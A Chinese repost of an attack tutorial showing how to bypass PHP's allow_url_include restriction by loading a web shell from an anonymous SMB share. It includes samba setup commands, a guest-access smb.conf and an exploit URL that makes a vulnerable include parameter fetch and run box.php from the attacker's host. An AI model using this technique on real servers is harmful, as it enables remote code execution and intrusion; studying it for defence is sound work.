您的位置:首页 > 编程学习 > > 正文

php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

更多 时间:2022-03-29 03:06:21 类别:编程学习 浏览量:336

php防session劫持

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用

在这篇博文中,我将为大家演示如何利用php应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行rfi的利用,即使php环境被配置为不包含来自远程http/ftp url的文件。

php 和 smb 共享文件访问

在php配置文件中,“allow_url_include”wrapper默认设置为“off”,指示php不加载远程http或ftp url,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“off”,php也不会阻止加载smb url。而这就极有可能被滥用来从smb共享加载远程托管的php web shell。

攻击场景概述

当易受攻击的php应用程序代码尝试从受攻击者控制的smb共享加载php web shell时,smb共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的smb服务器。因此,一旦易受攻击的应用程序尝试从smb共享访问php web shell,smb服务器将不会要求任何的凭据,易受攻击的应用程序将包含web shell的php代码。

首先,我重新配置了php环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的smb服务器。一旦smb共享准备就绪,我们就可以利用易受攻击的应用程序了。

php 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“off”

以下是版本为“5.5.11”的php当前配置截图:

php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

在继续下一步之前,让我们确保当我们尝试访问http上托管的web shell时,php代码不允许远程文件包含。

php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

可以看到,当我试图从远程主机包含php web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 samba 服务器(linux 机器)
使用以下命令安装samba服务器:

apt-get install samba创建smb共享目录:

mkdir /var/www/html/pub/

php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

配置新创建的smb共享目录的权限:

  • ?
  • 1
  • 2
  • chmod 0555 /var/www/html/pub/
  • chown -r nobody:nogroup /var/www/html/pub/
  • php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

    运行以下命令,删除samba服务器配置文件的默认内容。

    echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • [global]
  • workgroup = workgroup
  • server string = samba server %v
  • netbios name = indishell-lab
  • security = user
  • map to guest = bad user
  • name resolve order = bcast host
  • dns proxy = no
  • bind interfaces only = yes
  • [ica]
  • path = /var/www/html/pub
  • writable = no
  • guest ok = yes
  • guest only = yes
  • read only = yes
  • directory mode = 0555
  • force user = nobody现在,重启samba服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

    service smbd restart成功重启samba服务器后,尝试访问smb共享并确保samba服务器不要求提供凭据。

    在本例中,samba服务器ip为192.168.0.3,我需要访问windows文件浏览器中的smb共享,如下:\\192.168.0.3\ 

    php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

    在 smb 共享中托管 php web shell

    太棒了!可以访问smb共享,并显示目录“ica”存在。

    php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

    现在,将php shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

    成功托管php shell后,我们使用windows文件浏览器访问smb共享目录“ica”。

    \\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

    php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

    利用文件包含易受攻击的参数
    让我们使用这个php shell smb链接,以及易受攻击的php代码浏览它。

    http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpphp易受攻击的代码从smb共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的web shell。

    php防session劫持(使用SMB共享来绕过php远程文件包含的限制执行RFI的利用)

    总结

    以上所述是小编给大家介绍的使用smb共享来绕过php远程文件包含的限制执行rfi的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对开心学习网网站的支持!

    原文链接:https://www.freebuf.com/articles/web/203577.html

    标签:PHP 远程文件 SMB
    您可能感兴趣